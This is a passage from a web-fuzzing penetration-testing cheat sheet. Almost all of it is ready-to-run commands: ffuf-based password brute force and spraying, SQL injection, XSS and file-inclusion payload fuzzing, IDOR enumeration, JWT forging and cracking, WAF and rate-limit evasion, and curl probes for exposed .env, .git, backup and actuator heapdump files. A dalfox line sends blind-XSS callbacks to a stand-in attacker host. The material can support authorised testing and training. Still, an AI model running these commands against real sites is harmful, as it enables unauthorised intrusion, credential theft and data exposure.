    -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
    -ac -c

# Goal: Enumerate API endpoints, versions, and methods

# API path discovery
ffuf -u http://target.com/api/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
    -ac -c -v

# API version fuzzing
ffuf -u http://target.com/FUZZ/users \
    -w <(echo -e "v1\nv2\nv3\napi\napi/v1\napi/v2\napi/v3\nrest") \
    -ac -c

# Method fuzzing (same endpoint, different HTTP methods)
ffuf -u http://target.com/api/users \
    -X FUZZ \
    -w <(echo -e "GET\nPOST\nPUT\nDELETE\nPATCH\nHEAD\nOPTIONS\nTRACE") \
    -ac -c -v

# Object/resource fuzzing (IDOR)
ffuf -u http://target.com/api/FUZZ \
    -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
    -H "Authorization: Bearer YOUR_TOKEN" \
    -ac -c

# Combined: path + method + ID
ffuf -u http://target.com/api/users/FUZZ \
    -w <(seq 1 500) \
    -H "Authorization: Bearer YOUR_TOKEN" \
    -ac -c

# GraphQL introspection check
ffuf -u http://target.com/FUZZ \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"query":"{__schema{types{name}}}"}' \
    -w <(echo -e "graphql\napi/graphql\ngraphiql\nplayground\nconsole\nv1/graphql") \
    -mc 200 -c

# Goal: Find valid credentials

# Single user, password list
ffuf -u http://target.com/login \
    -X POST \
    -d "username=admin&password=FUZZ" \
    -w /usr/share/wordlists/rockyou.txt \
    -fc 200 -c           # If redirect on success, show 302

# Username + password spray (Pitchfork — pairs)
ffuf -u http://target.com/login \
    -X POST \
    -d "username=W1&password=W2" \
    -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:W1 \
    -w /usr/share/seclists/Passwords/Common-Credentials/top-20.txt:W2 \
    -fc 200 -c

# Password spray (one password, many users)
ffuf -u http://target.com/login \
    -X POST \
    -d "username=FUZZ&password=Password123" \
    -w users.txt \
    -ac -c

# Rate limit bypass — slow down
ffuf -u http://target.com/login \
    -X POST \
    -d "username=admin&password=FUZZ" \
    -w /usr/share/wordlists/rockyou.txt \
    -rate 5 \           # Only 5 req/sec
    -p 0.5 \            # 500ms delay
    -fc 200 -c

# Goal: Find SQL injection points

# GET parameter SQLi
ffuf -u "http://target.com/search.php?q=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
    -ac -c -v

# POST body SQLi
ffuf -u http://target.com/search \
    -X POST \
    -d "q=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
    -ac -c

# Detect via error difference (match error patterns)
ffuf -u "http://target.com/page.php?id=FUZZ" \
    -w /usr/share/seclists/Fuzzing/SQLi/quick-SQLi.txt \
    -mr "SQL|syntax|mysql|ORA-|Unclosed|unterminated|error in" \
    -c -v

# Boolean-based detection (compare True vs False response sizes)
# True payload: 1 AND 1=1
# False payload: 1 AND 1=2
# Different sizes = blind SQLi!

# Goal: Find reflected XSS injection points

# GET parameter XSS
ffuf -u "http://target.com/search?q=FUZZ" \
    -w /usr/share/seclists/Fuzzing/XSS/XSS-Jhaddix.txt \
    -ac -c \
    -mr "<script>|onerror=|onload=|javascript:|alert" \  # Match XSS in response!
    -v

# POST XSS
ffuf -u http://target.com/comment \
    -X POST \
    -d "comment=FUZZ" \
    -w /usr/share/seclists/Fuzzing/XSS/XSS-BruteLogic.txt \
    -ac -c

# XSStrike (smarter XSS fuzzer)
python3 xsstrike.py -u "http://target.com/search?q=test" --crawl
python3 xsstrike.py -u "http://target.com/search?q=test" --fuzzer

# dalfox
dalfox url "http://target.com/search?q=test"
cat urls.txt | dalfox pipe -b http://ATTACKER/blind

# Goal: Find Local File Inclusion vulnerabilities

# GET parameter LFI
ffuf -u "http://target.com/page.php?file=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -ac -c -v \
    -mr "root:|www-data|daemon|nobody" \   # Match /etc/passwd content!

# Multiple parameters + LFI
for param in file page path include doc template view; do
    echo -n "Testing param: $param → "
    ffuf -u "http://target.com/index.php?$param=FUZZ" \
        -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
        -ac -s -mr "root:" | head -1
done

# PHP wrapper LFI
ffuf -u "http://target.com/page.php?file=php://filter/convert.base64-encode/resource=FUZZ" \
    -w <(echo -e "index\nconfig\nconnection\ndb\nadmin\nlogin") \
    -ac -c

# Goal: Access other users' resources by manipulating IDs

# Numeric ID enumeration
ffuf -u "http://target.com/api/user/FUZZ" \
    -w <(seq 1 10000) \
    -b "session=YOURCOOKIE" \
    -ac -c -v \
    -t 50

# UUID enumeration (if predictable)
# Generate UUIDs:
python3 -c "import uuid; [print(str(uuid.uuid4())) for _ in range(1000)]" > uuids.txt
ffuf -u "http://target.com/api/profile/FUZZ" \
    -w uuids.txt \
    -b "session=YOURCOOKIE" \
    -ac -c

# Compare responses (Burp Intruder + Comparer)
# 1. Intruder: Numbers 1-1000 on ID parameter
# 2. Sort by length → different lengths = different user data (IDOR!)

# Autorize (Burp Extension) — best for IDOR
# 1. Login as low-priv user → give session to Autorize
# 2. Browse as admin
# 3. Autorize auto-tests every request with low-priv → shows access control fails

# Goal: Manipulate JWT tokens

# Decode JWT
echo "HEADER.PAYLOAD.SIGNATURE" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Fuzz JWT secret (hashcat)
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# jwt_tool — all attacks
python3 jwt_tool.py <TOKEN> -M at \
    -t "http://target.com/api/userinfo" \
    -rh "Authorization: Bearer TOKEN"

# Fuzzing JWT claims with ffuf
# Generate tokens with different values, test each:
# (Python script to generate tokens)
python3 -c "
import jwt
for role in ['user','admin','superadmin','root','moderator']:
    token = jwt.encode({'role':role,'user':'admin'}, 'secret', algorithm='HS256')
    print(token)
" > jwt_tokens.txt

ffuf -u http://target.com/dashboard \
    -H "Authorization: Bearer FUZZ" \
    -w jwt_tokens.txt \
    -ac -c

# ==========================================
# THE PROBLEM
# ==========================================

# Every fuzzer produces false positives:
# → 404 pages that return 200 (custom error page)
# → Pages that reflect the FUZZ value (same word count, different size)
# → WAF blocks (all return 403 with same size)
# → Redirect loops (all return 302)

# ==========================================
# AUTO-CALIBRATION (recommended always)
# ==========================================

ffuf ... -ac           # Auto-calibrate (sends invalid requests, learns normal response)
ffuf ... -acc          # More aggressive calibration

# ==========================================
# MANUAL FILTERING STRATEGY
# ==========================================

# STEP 1: Get baseline (what does a 404 look like?)
curl -s http://target.com/DOESNOTEXIST12345 | wc -c    # Size in bytes
curl -s http://target.com/DOESNOTEXIST12345 | wc -w    # Word count
curl -s http://target.com/DOESNOTEXIST12345 | wc -l    # Line count

# STEP 2: Apply filter
ffuf -u http://target.com/FUZZ \
    -w wordlist.txt \
    -fs <baseline_size>    # Filter by exact size

# STEP 3: If still noisy, check response patterns
curl -s http://target.com/DOESNOTEXIST | grep -o ".*" | head -5
# → Find unique string in 404 → use -fr to filter it

ffuf -u http://target.com/FUZZ -w wordlist.txt -fr "Page Not Found"

# ==========================================
# FFUF FILTER CHEAT SHEET
# ==========================================

-ac              # AUTO (recommended)
-fc 404          # Filter status 404
-fc 404,403,500  # Filter multiple codes
-fs 1234         # Filter exact size
-fs 1234,5678    # Filter multiple sizes
-fw 12           # Filter 12-word responses
-fl 50           # Filter 50-line responses
-fr "Not Found"  # Filter responses matching regex

# MATCH (show ONLY these):
-mc 200          # Show only 200
-mc 200,301,302  # Show these codes
-ms 1337         # Show only this size
-mw 42           # Show only 42 words
-mr "admin|dashboard|panel"   # Show if matches regex (GREAT for vuln hunting!)

# ==========================================
# WFUZZ FILTER CHEAT SHEET
# ==========================================

--hc 404         # Hide 404
--hl 20          # Hide 20-line responses
--hw 150         # Hide 150-word responses
--hh 1337        # Hide 1337-char responses
--sc 200         # Show only 200
--sl 50          # Show only 50-line responses

# ==========================================
# GOBUSTER FILTER
# ==========================================

-s 200,301,302   # Show only these status codes
-b 404,403       # Exclude these status codes
--exclude-length 287   # Exclude this response length (vhost mode)

# ==========================================
# PRACTICAL TUNING WORKFLOW
# ==========================================

# 1. Run with -ac first
ffuf -u http://target.com/FUZZ -w wordlist.txt -ac -c

# 2. If too noisy — add size filter
ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 287 -c

# 3. If still noisy — add multiple filters
ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404 -fs 287 -fw 12 -c

# 4. Inspect "interesting" results with curl
curl -v http://target.com/interesting_path

# ==========================================
# DETECTING A WAF
# ==========================================

# Send obvious attack → check response
curl "http://target.com/?id=1' OR '1'='1"

# WAF response indicators:
# → 403 Forbidden
# → 406 Not Acceptable
# → 429 Too Many Requests
# → Custom block page ("Your request has been blocked")
# → Cloudflare/Akamai/Sucuri branded block page

# wafw00f — WAF fingerprinting
wafw00f http://target.com
wafw00f http://target.com -a    # Detect all WAFs (aggressive)

# ==========================================
# BYPASS TECHNIQUES
# ==========================================

# 1. SLOW DOWN (rate-based WAF bypass)
ffuf -u http://target.com/FUZZ -w wordlist.txt \
    -rate 5 -p 1          # 5 req/sec, 1s delay

# 2. RANDOM DELAY
ffuf -u http://target.com/FUZZ -w wordlist.txt \
    -p 0.5-3              # Random delay 0.5 to 3 seconds

# 3. ROTATE USER-AGENTS
ffuf -u http://target.com/FUZZ -w wordlist.txt \
    -H "User-Agent: FUZZ2" \
    -w wordlist.txt:FUZZ \
    -w /usr/share/seclists/Fuzzing/User-Agents/user-agents.txt:FUZZ2

# 4. CASE VARIATION (bypass keyword filters)
# admin → aDmIn → AdMiN

# 5. ENCODING
# Normal:   /etc/passwd
# URL enc:  %2fetc%2fpasswd
# Double:   %252fetc%252fpasswd
# Unicode:  %u002fetc%u002fpasswd

# In ffuf — apply encoder:
# (Create encoded wordlist manually or use wfuzz encoders)
wfuzz -z file,payloads.txt,urlencode --hc 403 "http://target.com/?id=FUZZ"

# 6. HTTP/2 (some WAFs only inspect HTTP/1.1)
curl --http2 "http://target.com/?id=1' OR '1'='1"

# 7. CHUNKED TRANSFER ENCODING (smuggling WAF)
# Some WAFs don't reassemble chunked bodies!

# 8. CHANGE CONTENT-TYPE (may bypass body inspection)
# application/x-www-form-urlencoded → application/json → text/xml

# 9. ADD JUNK PARAMS (distract WAF)
"http://target.com/page.php?a=1&b=2&c=3&id=1' OR '1'='1"

# 10. PATH VARIATION
# /admin → /admin/ → /ADMIN → /%61dmin → /./admin → /admin/.

# ==========================================
# ALWAYS CHECK THESE FIRST
# ==========================================

# Source control exposure
curl http://target.com/.git/HEAD          # Git repo!
curl http://target.com/.git/config
curl http://target.com/.svn/entries
curl http://target.com/.hg/store/fncache

# Environment / Config
curl http://target.com/.env              # Laravel (DB creds, API keys!)
curl http://target.com/.env.local
curl http://target.com/.env.production
curl http://target.com/config.php
curl http://target.com/config.js
curl http://target.com/config.json
curl http://target.com/config.yml
curl http://target.com/appsettings.json  # .NET
curl http://target.com/web.config        # IIS / ASP.NET

# Backup files
curl http://target.com/backup.zip
curl http://target.com/backup.tar.gz
curl http://target.com/backup.sql
curl http://target.com/db.sql
curl http://target.com/database.sql
curl http://target.com/www.tar.gz
curl http://target.com/site.tar.gz

# PHP info / debug
curl http://target.com/phpinfo.php
curl http://target.com/info.php
curl http://target.com/test.php
curl http://target.com/debug.php

# Server info
curl http://target.com/robots.txt        # May reveal hidden paths!
curl http://target.com/sitemap.xml       # All indexed paths
curl http://target.com/crossdomain.xml   # Flash/legacy CORS
curl http://target.com/clientaccesspolicy.xml

# Admin panels
curl http://target.com/admin
curl http://target.com/administrator
curl http://target.com/phpmyadmin
curl http://target.com/wp-admin          # WordPress
curl http://target.com/wp-login.php
curl http://target.com/manager           # Tomcat
curl http://target.com/console           # Various frameworks

# Log files
curl http://target.com/error.log
curl http://target.com/access.log
curl http://target.com/debug.log

# API documentation
curl http://target.com/swagger.json
curl http://target.com/swagger/v1/swagger.json
curl http://target.com/openapi.json
curl http://target.com/api-docs
curl http://target.com/v2/api-docs       # Swagger UI

# Spring Boot Actuators (Java)
curl http://target.com/actuator
curl http://target.com/actuator/env      # Environment vars (creds!)
curl http://target.com/actuator/heapdump # Memory dump (creds!)
curl http://target.com/actuator/mappings # All endpoints!
curl http://target.com/actuator/beans

╔══════════════════════════════════════════════════════════════════╗
║ WEB FUZZING — MASTER CHEAT SHEET                                 ║
╠════════════════════╦═════════════════════════════════════════════╣
║ SCENARIO           ║ COMMAND                                     ║
╠════════════════════╬═════════════════════════════════════════════╣
║ Dir fuzz           ║ ffuf -u URL/FUZZ -w raft-dirs -ac -c        ║
║ Files + ext        ║ ffuf -u URL/FUZZ -w words -e php,html,txt   ║
║ Recursive          ║ feroxbuster -u URL -w list -d 3 -x php,html ║
║ Subdomain DNS      ║ gobuster dns -d corp.local -w subs.txt      ║
║ VHost              ║ ffuf -H "Host:FUZZ.corp.local" -w subs      ║
║ Param name (GET)   ║ ffuf -u "URL?FUZZ=x" -w params              ║
║ Param value (GET)  ║ ffuf -u "URL?id=FUZZ" -w payloads           ║
║ POST brute         ║ ffuf -X POST -d "u=a&p=FUZZ" -w rockyou     ║
║ POST JSON          ║ ffuf -X POST -d '{"u":"a","p":"FUZZ"}'      ║
║ Header fuzz        ║ ffuf -H "X-Forwarded-For: FUZZ" -w ips      ║
║ Cookie fuzz        ║ ffuf -b "session=FUZZ" -w tokens -mc 200    ║
║ API fuzz           ║ ffuf -u URL/api/FUZZ -w api-list            ║
║ IDOR (numeric)     ║ ffuf -u URL/user/FUZZ -w seq(1-1000)        ║
║ SQLi detect        ║ ffuf -u "URL?id=FUZZ" -w sqli.txt           ║
║ XSS detect         ║ ffuf -u "URL?q=FUZZ" -w xss.txt             ║
║ LFI detect         ║ ffuf -u "URL?file=FUZZ" -w lfi.txt          ║
╚════════════════════╩═════════════════════════════════════════════╝

#Dirs:
ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -ac -c

#Files:
ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php,.html,.txt,.bak -ac -c

#Params:
ffuf -u "http://TARGET/page?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac -c

#VHost:
ffuf -u http://TARGET -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac -c

#POST brute:
ffuf -u http://TARGET/login -X POST -d "user=admin&pass=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 200 -c